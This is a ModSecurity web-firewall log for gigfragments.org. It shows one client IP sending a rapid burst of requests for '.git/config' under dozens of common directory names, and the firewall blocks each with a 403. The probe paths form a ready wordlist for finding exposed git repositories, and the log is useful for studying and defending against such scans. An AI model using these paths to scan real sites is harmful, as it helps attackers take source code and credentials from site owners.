[Tue Nov 25 22:41:47.714254 2025] [:error] [pid 43981:tid 43989] [client 2.57.122.225:34140] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aSXAKwgZn97m_qh_RaF50wAAAwY"]
[Tue Nov 25 22:41:47.715051 2025] [:error] [pid 14077:tid 14131] [client 2.57.122.225:34282] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/backend/.git/config"] [unique_id "aSXAKxG9n7UHEkwDTyjfjgAAAFU"]
[Tue Nov 25 22:41:47.715982 2025] [:error] [pid 14076:tid 14082] [client 2.57.122.225:34190] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.git/config"] [unique_id "aSXAK3sB4Gz6Qw-pvBtXZwAAAAE"]
[Tue Nov 25 22:41:47.717028 2025] [:error] [pid 14076:tid 14082] [client 2.57.122.225:34172] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/backup/.git/config"] [unique_id "aSXAK3sB4Gz6Qw-pvBtXaAAAAAE"]
[Tue Nov 25 22:41:47.717893 2025] [:error] [pid 14076:tid 14105] [client 2.57.122.225:34290] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/drupal/.git/config"] [unique_id "aSXAK3sB4Gz6Qw-pvBtXaQAAABg"]
[Tue Nov 25 22:41:47.718015 2025] [:error] [pid 14076:tid 14082] [client 2.57.122.225:34156] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/build/.git/config"] [unique_id "aSXAK3sB4Gz6Qw-pvBtXagAAAAE"]
[Tue Nov 25 22:41:47.719359 2025] [:error] [pid 14076:tid 14090] [client 2.57.122.225:34180] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/beta/.git/config"] [unique_id "aSXAK3sB4Gz6Qw-pvBtXawAAAAk"]
[Tue Nov 25 22:41:47.720337 2025] [:error] [pid 14076:tid 14102] [client 2.57.122.225:34270] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/cms/.git/config"] [unique_id "aSXAK3sB4Gz6Qw-pvBtXbAAAABU"]
[Tue Nov 25 22:41:47.722034 2025] [:error] [pid 14078:tid 14142] [client 2.57.122.225:34118] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/admin/.git/config"] [unique_id "aSXAK9VXYbb0ii_rVoKd6QAAAIU"]
[Tue Nov 25 22:41:47.722821 2025] [:error] [pid 14076:tid 14094] [client 2.57.122.225:34304] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/logs/.git/config"] [unique_id "aSXAK3sB4Gz6Qw-pvBtXbQAAAA0"]
[Tue Nov 25 22:41:47.723453 2025] [:error] [pid 2987:tid 3010] [client 2.57.122.225:34254] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/dev/.git/config"] [unique_id "aSXAK8-djEt-pTzPxnzeDQAAAVU"]
[Tue Nov 25 22:41:47.724605 2025] [:error] [pid 14078:tid 14146] [client 2.57.122.225:34238] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/html/.git/config"] [unique_id "aSXAK9VXYbb0ii_rVoKd6gAAAIk"]
[Tue Nov 25 22:41:47.726029 2025] [:error] [pid 43981:tid 44004] [client 2.57.122.225:34286] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/blog/.git/config"] [unique_id "aSXAKwgZn97m_qh_RaF51AAAAxU"]
[Tue Nov 25 22:41:47.735945 2025] [:error] [pid 14078:tid 14145] [client 2.57.122.225:34306] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/production/.git/config"] [unique_id "aSXAK9VXYbb0ii_rVoKd6wAAAIg"]
[Tue Nov 25 22:41:47.740834 2025] [:error] [pid 14168:tid 14176] [client 2.57.122.225:34314] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/v3/.git/config"] [unique_id "aSXAK_R-ZDU0QEgAIIud-AAAAMU"]
[Tue Nov 25 22:41:47.742934 2025] [:error] [pid 14168:tid 14172] [client 2.57.122.225:34322] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/www/.git/config"] [unique_id "aSXAK_R-ZDU0QEgAIIud-QAAAME"]
[Tue Nov 25 22:41:47.743084 2025] [:error] [pid 43981:tid 44005] [client 2.57.122.225:34360] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/docs/.git/config"] [unique_id "aSXAKwgZn97m_qh_RaF51QAAAxY"]
[Tue Nov 25 22:41:47.743360 2025] [:error] [pid 14078:tid 14153] [client 2.57.122.225:34324] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/old/.git/config"] [unique_id "aSXAK9VXYbb0ii_rVoKd7AAAAJA"]
[Tue Nov 25 22:41:47.746005 2025] [:error] [pid 2987:tid 2997] [client 2.57.122.225:34346] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/web/.git/config"] [unique_id "aSXAK8-djEt-pTzPxnzeDgAAAUg"]
[Tue Nov 25 22:41:47.746859 2025] [:error] [pid 43981:tid 43993] [client 2.57.122.225:34348] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/public/.git/config"] [unique_id "aSXAKwgZn97m_qh_RaF51gAAAwo"]
[Tue Nov 25 22:41:47.754437 2025] [:error] [pid 43843:tid 43859] [client 2.57.122.225:34444] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/site/.git/config"] [unique_id "aSXAKxhx4v3NUNdMKDMFMgAAAc4"]
[Tue Nov 25 22:41:47.762377 2025] [:error] [pid 28739:tid 28782] [client 2.57.122.225:34474] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/root/.git/config"] [unique_id "aSXAKxxGpKmlkG4FexTDkwAAAhQ"]
[Tue Nov 25 22:41:47.765726 2025] [:error] [pid 28739:tid 28770] [client 2.57.122.225:34526] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/temp/.git/config"] [unique_id "aSXAKxxGpKmlkG4FexTDlAAAAgg"]
[Tue Nov 25 22:41:47.767218 2025] [:error] [pid 14168:tid 14186] [client 2.57.122.225:34518] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/static/.git/config"] [unique_id "aSXAK_R-ZDU0QEgAIIud-gAAAM8"]
[Tue Nov 25 22:41:47.767606 2025] [:error] [pid 28739:tid 28771] [client 2.57.122.225:34466] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/git/.git/config"] [unique_id "aSXAKxxGpKmlkG4FexTDlQAAAgk"]
[Tue Nov 25 22:41:47.768316 2025] [:error] [pid 2987:tid 3007] [client 2.57.122.225:34380] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/prod/.git/config"] [unique_id "aSXAK8-djEt-pTzPxnzeDwAAAVI"]
[Tue Nov 25 22:41:47.774148 2025] [:error] [pid 43843:tid 43850] [client 2.57.122.225:34412] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/v2/.git/config"] [unique_id "aSXAKxhx4v3NUNdMKDMFMwAAAcU"]
[Tue Nov 25 22:41:47.778795 2025] [:error] [pid 14077:tid 14132] [client 2.57.122.225:34476] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-admin/.git/config"] [unique_id "aSXAKxG9n7UHEkwDTyjfkAAAAFY"]
[Tue Nov 25 22:41:47.785263 2025] [:error] [pid 14168:tid 14189] [client 2.57.122.225:34528] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/joomla/.git/config"] [unique_id "aSXAK_R-ZDU0QEgAIIud-wAAANI"]
[Tue Nov 25 22:41:47.787267 2025] [:error] [pid 43843:tid 43852] [client 2.57.122.225:34478] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/tmp/.git/config"] [unique_id "aSXAKxhx4v3NUNdMKDMFNAAAAcc"]
[Tue Nov 25 22:41:47.788283 2025] [:error] [pid 28739:tid 28780] [client 2.57.122.225:34514] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sites/.git/config"] [unique_id "aSXAKxxGpKmlkG4FexTDlgAAAhI"]
[Tue Nov 25 22:41:47.789817 2025] [:error] [pid 43981:tid 43986] [client 2.57.122.225:34410] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/staging/.git/config"] [unique_id "aSXAKwgZn97m_qh_RaF51wAAAwM"]
[Tue Nov 25 22:41:47.790117 2025] [:error] [pid 14168:tid 14180] [client 2.57.122.225:34498] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/test/.git/config"] [unique_id "aSXAK_R-ZDU0QEgAIIud_AAAAMk"]
[Tue Nov 25 22:41:47.792019 2025] [:error] [pid 28739:tid 28786] [client 2.57.122.225:34482] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/v1/.git/config"] [unique_id "aSXAKxxGpKmlkG4FexTDlwAAAhg"]
[Tue Nov 25 22:41:47.792245 2025] [:error] [pid 14077:tid 14112] [client 2.57.122.225:34396] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp-content/.git/config"] [unique_id "aSXAKxG9n7UHEkwDTyjfkQAAAEI"]
[Tue Nov 25 22:41:47.795042 2025] [:error] [pid 14078:tid 14150] [client 2.57.122.225:34454] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sample/.git/config"] [unique_id "aSXAK9VXYbb0ii_rVoKd7QAAAI0"]
[Tue Nov 25 22:41:47.806003 2025] [:error] [pid 43981:tid 44003] [client 2.57.122.225:34508] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/example/.git/config"] [unique_id "aSXAKwgZn97m_qh_RaF52AAAAxQ"]
[Tue Nov 25 22:41:47.813263 2025] [:error] [pid 43843:tid 43869] [client 2.57.122.225:34430] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/wp/.git/config"] [unique_id "aSXAKxhx4v3NUNdMKDMFNQAAAdg"]
[Tue Nov 25 22:41:47.815390 2025] [:error] [pid 43843:tid 43864] [client 2.57.122.225:34376] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/src/.git/config"] [unique_id "aSXAKxhx4v3NUNdMKDMFNgAAAdM"]
[Tue Nov 25 22:41:48.251610 2025] [:error] [pid 14078:tid 14158] [client 2.57.122.225:43912] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/tmp/.git/config"] [unique_id "aSXALNVXYbb0ii_rVoKd7wAAAJU"]
[Tue Nov 25 22:41:48.255360 2025] [:error] [pid 28739:tid 28763] [client 2.57.122.225:43926] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/static/.git/config"] [unique_id "aSXALBxGpKmlkG4FexTDmQAAAgE"]
[Tue Nov 25 22:41:48.258321 2025] [:error] [pid 28739:tid 28777] [client 2.57.122.225:43896] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sites/.git/config"] [unique_id "aSXALBxGpKmlkG4FexTDmgAAAg8"]
[Tue Nov 25 22:41:48.259978 2025] [:error] [pid 28739:tid 28773] [client 2.57.122.225:43898] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/assets/.git/config"] [unique_id "aSXALBxGpKmlkG4FexTDmwAAAgs"]
[Tue Nov 25 22:41:48.261430 2025] [:error] [pid 14078:tid 14137] [client 2.57.122.225:43908] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aSXALNVXYbb0ii_rVoKd8AAAAIA"]
[Tue Nov 25 22:41:48.263518 2025] [:error] [pid 14077:tid 14126] [client 2.57.122.225:43968] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/admin/.git/config"] [unique_id "aSXALBG9n7UHEkwDTyjfkwAAAFA"]
[Tue Nov 25 22:41:48.266324 2025] [:error] [pid 14077:tid 14127] [client 2.57.122.225:43982] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/site/.git/config"] [unique_id "aSXALBG9n7UHEkwDTyjflAAAAFE"]
[Tue Nov 25 22:41:48.266966 2025] [:error] [pid 14077:tid 14114] [client 2.57.122.225:44006] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/backend/.git/config"] [unique_id "aSXALBG9n7UHEkwDTyjflQAAAEQ"]
[Tue Nov 25 22:41:48.271187 2025] [:error] [pid 28739:tid 28768] [client 2.57.122.225:43928] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/root/.git/config"] [unique_id "aSXALBxGpKmlkG4FexTDnAAAAgY"]
[Tue Nov 25 22:41:48.271231 2025] [:error] [pid 2987:tid 3002] [client 2.57.122.225:43938] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/public/.git/config"] [unique_id "aSXALM-djEt-pTzPxnzeEAAAAU0"]
[Tue Nov 25 22:41:48.271352 2025] [:error] [pid 14078:tid 14141] [client 2.57.122.225:43952] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/backup/.git/config"] [unique_id "aSXALNVXYbb0ii_rVoKd8QAAAIQ"]
[Tue Nov 25 22:41:48.273416 2025] [:error] [pid 43981:tid 43991] [client 2.57.122.225:43998] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/cms/.git/config"] [unique_id "aSXALAgZn97m_qh_RaF52QAAAwg"]
[Tue Nov 25 22:41:48.275505 2025] [:error] [pid 43981:tid 43992] [client 2.57.122.225:43978] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/app/.git/config"] [unique_id "aSXALAgZn97m_qh_RaF52gAAAwk"]
[Tue Nov 25 22:41:48.276595 2025] [:error] [pid 28739:tid 28772] [client 2.57.122.225:44030] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/blog/.git/config"] [unique_id "aSXALBxGpKmlkG4FexTDnQAAAgo"]
[Tue Nov 25 22:41:48.280367 2025] [:error] [pid 14168:tid 14175] [client 2.57.122.225:44094] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/debug/.git/config"] [unique_id "aSXALPR-ZDU0QEgAIIud_gAAAMQ"]
[Tue Nov 25 22:41:48.281053 2025] [:error] [pid 14077:tid 14120] [client 2.57.122.225:44004] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/web/.git/config"] [unique_id "aSXALBG9n7UHEkwDTyjflgAAAEo"]
[Tue Nov 25 22:41:48.282231 2025] [:error] [pid 14077:tid 14110] [client 2.57.122.225:44046] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/dev/.git/config"] [unique_id "aSXALBG9n7UHEkwDTyjflwAAAEA"]
[Tue Nov 25 22:41:48.288986 2025] [:error] [pid 28739:tid 28769] [client 2.57.122.225:44188] [client 2.57.122.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/new/.git/config"] [unique_id "aSXALBxGpKmlkG4FexTDngAAAgc"]
